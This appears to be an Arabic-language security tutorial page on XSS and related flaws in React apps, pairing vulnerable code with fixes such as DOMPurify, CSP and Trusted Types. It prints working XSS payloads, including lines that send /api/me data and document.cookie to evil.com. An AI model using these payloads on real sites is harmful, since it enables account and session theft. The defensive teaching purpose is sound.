الفرق الحمراء — الهجومخبير90mL30

React Security — اللي اسمه dangerously فعلاً خطر

dangerouslySetInnerHTML و JSX injection و URL handlers و XS-Leaks

#React#XSS#Hydration#DOM#CSP

React آمن من XSS by default؟ — هو إحنا متأكدين؟

"React بيعمل escape تلقائي". صح.

- يبقى أنا في حماية يا حضرتك! :D

كنت مستنيك تقول كده يا مستجد. متوقّع. تعالى نشوف بقى.

طب الـ dangerouslySetInnerHTML؟

والـ href={userUrl}؟

والـ markdown renderer اللي شغّال في الـ comments؟

والـ window.location = userInput؟

تشبيه — شرح مبسط
تخيّل باب بيتقفل لوحده. طالما سايبه — تمام. بس لحظة ما تفتحه بإيدك (dangerouslySetInnerHTML)، إنت لوحدك في الشارع. الناس بتفتح الباب وهي مطمنّة "الإطار آمن دايماً". ودي اللحظة اللي بتتحرق فيها. React بيقفل XSS الكلاسيكي. مش بيقفل dangerously*، مش بيقفل URL injection، مش بيقفل DOM clobbering.
حكاية: marked + React = breach
في 2021، dApp شهيرة (DeFi) كانت بتـ render markdown comments في React بـ marked + dangerouslySetInnerHTML. من غير DOMPurify. attacker كتب comment فيه <img src=x onerror=window.ethereum.request(...)>. اللي بيحصل فعلياً؟ كل واحد فتح الـ thread، الـ wallet بتاعه طلب transaction. مفيش 0day. "React آمن" + DOMPurify ناقصة = مليون دولار.
تنبيه
الأمثلة هنا عشان تتعلم تستغل DOM/XSS في تطبيقاتك إنت. مش لمواقع متملكهاش.

dangerouslySetInnerHTML — الباب اللي مفتوح على الآخر

jsx
// خطر — markdown-to-HTML بدون sanitize
function Comment({ markdown }) {
  const html = markdownToHtml(markdown);
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// PoC في markdown
[click me](javascript:fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com',{method:'POST',body:JSON.stringify(d)})))

// أو HTML inline
<img src=x onerror="document.location='https://evil.com/?c='+document.cookie">

// الإصلاح — DOMPurify دائماً
import DOMPurify from 'isomorphic-dompurify';
const safe = DOMPurify.sanitize(html, {
  ALLOWED_TAGS: ['p','br','b','i','em','strong','a','ul','ol','li','code','pre'],
  ALLOWED_ATTR: ['href','title'],
  ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
return <div dangerouslySetInnerHTML={{ __html: safe }} />;

URL Injection — href/src اللي بتسرّب الموقع

jsx
// خطر — link مفتوح
<a href={userUrl}>click</a>

// PoC
userUrl = "javascript:alert(1)"
userUrl = "data:text/html,<script>alert(1)</script>"

// الإصلاح — فحص protocol
function safeUrl(u) {
  try {
    const parsed = new URL(u, location.origin);
    if (!['http:','https:','mailto:'].includes(parsed.protocol)) return '#';
    return parsed.toString();
  } catch { return '#'; }
}

<a href={safeUrl(userUrl)} rel="noopener noreferrer" target="_blank">click</a>
// + rel="noopener" دائماً مع target="_blank"
// لمنع window.opener tabnabbing

JSX Injection — حالات نادرة بس بتحرق المشروع

jsx
// خطر — element type ديناميكي
function Dynamic({ tag, children }) {
  const Tag = tag;
  return <Tag>{children}</Tag>;
}

<Dynamic tag={userTag}>x</Dynamic>
// لو tag = "iframe" مع children فيها src → embedded iframe

// أخطر — props spread من user
<Component {...userProps} />
// userProps = {dangerouslySetInnerHTML: {__html: '<img src=x onerror=...>'}}

// الإصلاح — allowlist للـ tags + لا تنشر user props مباشرة
const ALLOWED_TAGS = ['p','span','div','section','article'];
const Tag = ALLOWED_TAGS.includes(userTag) ? userTag : 'span';

Refs و الـ DOM escapes — لما بتلف على React

ساعات بتحتاج DOM API مباشرة، و ده مفيش منه مفر. بس أي استخدام لـ .innerHTML أو document.write أو eval جوا useEffect معناه إنك خرجت من حماية React بإيدك. اللي بعدها مسؤوليتك.

jsx
// خطر
function Editor({ html }) {
  const ref = useRef(null);
  useEffect(() => {
    if (ref.current) ref.current.innerHTML = html;   // XSS
  }, [html]);
  return <div ref={ref} />;
}

// آمن — DOMPurify أو textContent
useEffect(() => {
  if (ref.current) ref.current.innerHTML = DOMPurify.sanitize(html);
}, [html]);

// أو لـ النص فقط
ref.current.textContent = userText;   // آمن

Hydration Mismatch — عندما يصبح الـ Warning ثغرة

الـ SSR/CSR لما بيختلفوا React بيطبع warning. بس الـ warning ده بيكشف معلومة: هل القيمة دي موجودة على السيرفر؟. المهاجم بياخد ده و يستخدمه كـ oracle شبيه بالـ CSRF.

jsx
// مثال: AB test مرتبط بـ user
function Hero() {
  const variant = useABTest();   // يستخدم cookie
  return <div data-variant={variant}>{variant === 'A' ? 'Hi A' : 'Hi B'}</div>;
}

// مهاجم يضع iframe لـ /, ثم يقرأ console errors عبر postMessage abuse
// أو يُولّد differences في DOM يقرأها

// الإصلاح — لا تُنشئ DOM مختلف بناءً على per-user data في SSR
// استخدم useEffect للتحديث post-hydration:
const [variant, setVariant] = useState('A');
useEffect(() => setVariant(getVariant()), []);

State Management — فخاخ Redux و Zustand

  • Tokens في localStorage — أي XSS = الـ token اتسرق. خلاص. استخدم httpOnly cookies.
  • Persisted state (redux-persist) — راجع المحتوى اللي بيرجع. مهاجم عنده XSS بيكتب state خبيث و يفضل قاعد فيه حتى لو قفلت الثغرة.
  • Reducer trust — الـ Reducers بتفترض إن الـ actions جاية من مصدر موثوق. لو فيه middleware بيقبل actions من input المستخدم — prototype pollution على الباب.
  • Devtools في الـ production — Redux DevTools لازم يبقى process.env.NODE_ENV === 'development' بس. غير كده إنت بتفرّج المهاجم على كل حاجة.

CSP و Trusted Types — دي السكة الجد

حتى لو نسيت DOMPurify مرة (و ده هيحصل، أنت بني آدم)، CSP صح بيقتل الـ XSS قبل ما يلحق ينفّذ.

text
# Strict CSP for React
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{rand}' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';        ← React inline styles
  img-src 'self' data: https:;
  connect-src 'self' https://api.target.gov;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  require-trusted-types-for 'script';
  trusted-types default;
javascript
// Trusted Types — Chrome، Edge
// يمنع innerHTML = string؛ يقبل فقط TrustedHTML

if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (s) => DOMPurify.sanitize(s, { RETURN_TRUSTED_TYPE: true }),
  });
  el.innerHTML = policy.createHTML(dangerous);
}

// React 18+ يدعم Trusted Types؛ تأكد أن مكتباتك (markdown, charting) تدعمها
// عبر setting compatible policy

Supply Chain — مخاطر npm و الـ CDN

  • Compromised dependencies — نفس قصة Node. حدّث react, react-dom، و كل مكتباتك. اللي مش بيحدّث بيعيش بنصف عقل.
  • CDN scripts (analytics, A/B) — من غير integrity SRI كل أمن التطبيق بتاعك بيقع في ثانية.
  • Browser extension supply chain — متأمنش لأي حاجة موجودة على الـ client. الـ client أرض عدوانية.
html
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

XS-Leaks — تسريبات بتعدي الحدود

حتى مع SOP و CSP، الـ browser side-channels لسه بتسرّب معلومات. مهاجم على موقع تاني بيحمّل تطبيقك في iframe أو window و بيقيس:

  • Frame counting — كام iframe بيرسمه target.com/profile؟ ده بيفضح عدد الـ widgets في كل حالة.
  • window.length — قبل و بعد الـ login.
  • Cache timing — هل الـ resource cached؟ → اليوزر داخل بحسابه.
  • postMessage leaks — listener على "*". ده عك صريح.
  • Navigation timing — تحميل /admin أخد قد إيه؟ → admin أو لأ.
الحماية
  • Cross-Origin-Opener-Policy: same-origin
  • Cross-Origin-Embedder-Policy: require-corp
  • Cross-Origin-Resource-Policy: same-site
  • X-Frame-Options: DENY (أو CSP frame-ancestors).
  • postMessage: قارن الـ event.origin بـ allowlist صريح. متسيبش "*" أبداً.
  • SameSite=strict cookies بتقفل كتير من سيناريوهات الـ cross-site.

CVEs بتاعة React — اللي لازم تبقى عارفها

  • CVE-2018-6341 (react-dom) — XSS عن طريق attributes في server renderer قديم.
  • react-router — كذا CVE، أشهرهم open redirect عن طريق basename.
  • next/router historical — open redirect برضو.
  • Material-UI / antd / chakra — sanitization ناقص في الـ tooltip/popover.
  • react-markdown — قبل v6 كان بيقبل raw HTML افتراضياً. v6+ آمن، بس لسه محتاج config مظبوط.

Authentication — هنا تطبيقات React بتعك

jsx
// خطأ شائع — token في localStorage
localStorage.setItem('token', jwt);
fetch('/api', { headers: { Authorization: 'Bearer ' + jwt } });

// أي XSS = سرقة token → session takeover

// الأفضل — httpOnly cookie + CSRF token
// خادم: Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
// client: لا يلمس الكوكي
fetch('/api', { credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } });

// لـ SPA + token-based — استخدم BFF (Backend for Frontend) pattern
// Cookie ↔ BFF ↔ Auth Server (token تبقى على الـ BFF)

Code Review لـ React — الـ checklist اللي بتمشي بيه

  1. دور على dangerouslySetInnerHTML — كل instance لازم يبقى ليه سبب + DOMPurify. غير كده احذفه.
  2. دور على .innerHTML, document.write, eval, new Function.
  3. افحص كل href ديناميكي — بيفلتر javascript: ولا لأ؟
  4. افحص كل target="_blank" — معاه rel="noopener" ولا منسي؟
  5. افحص كل postMessage — بيتحقق من origin؟
  6. افحص localStorage — فيه tokens أو PII؟ المفروض مفيش.
  7. افحص الـ env leaks — REACT_APP_ / VITE_ بتظهر في الـ bundle. أي سر هنا = سر متسرب.
  8. افحص الـ redirects — بيمنع //evil.com؟
أدوات بتختصر عليك
ESLint + eslint-plugin-react, eslint-plugin-jsx-a11y, eslint-plugin-security. Semgrep p/react. Dependabot. Snyk. خلّي الأدوات تشتغل عنك بدل ما تنسى.

غلطات الـ junior في React

الأخطاء اللي بتنسف الـ frontend
  • JWT في localStorage — أول XSS = الـ token مع المهاجم. استخدم HttpOnly cookies.
  • "React بيعمل escape، فأنا آمن" — مش هنا. الـ href الديناميكي مش بيتعمله escape زي string. javascript: بتعدّي.
  • VITE_API_KEY في .env — كل حاجة بـ VITE_ أو REACT_APP_ بتطلع في الـ bundle. أي حد بيقرا الـ source يلاقيها.
  • target="_blank" بدون rel="noopener noreferrer" — الموقع المفتوح بيقدر يعدّل window.opener. tabnabbing كلاسيكي.
  • postMessage بيقبل من أي origin — اللعبة الفضلى للـ iframe-based attacks.
  • dangerouslySetInnerHTML على markdown — من غير DOMPurify. نفس قصة marked + DeFi.

الخلاصة الناشفة

اكتبها على الموبايل قدامك:

React مش "آمن بنفسه" — React "بيقلّل المساحة المكشوفة".

اللي فاضل، إنت مسؤول عنه: الـ HTML اللي بتـ render، الـ URLs اللي بتـ click عليها، الـ secrets اللي بتحطها في الـ bundle.

أمن الـ frontend مش "tooling" — هو طريقة تفكير. كل property ديناميكية = decision عن الـ trust.

اوعى تثق في الـ client. الـ client أرض عدوانية.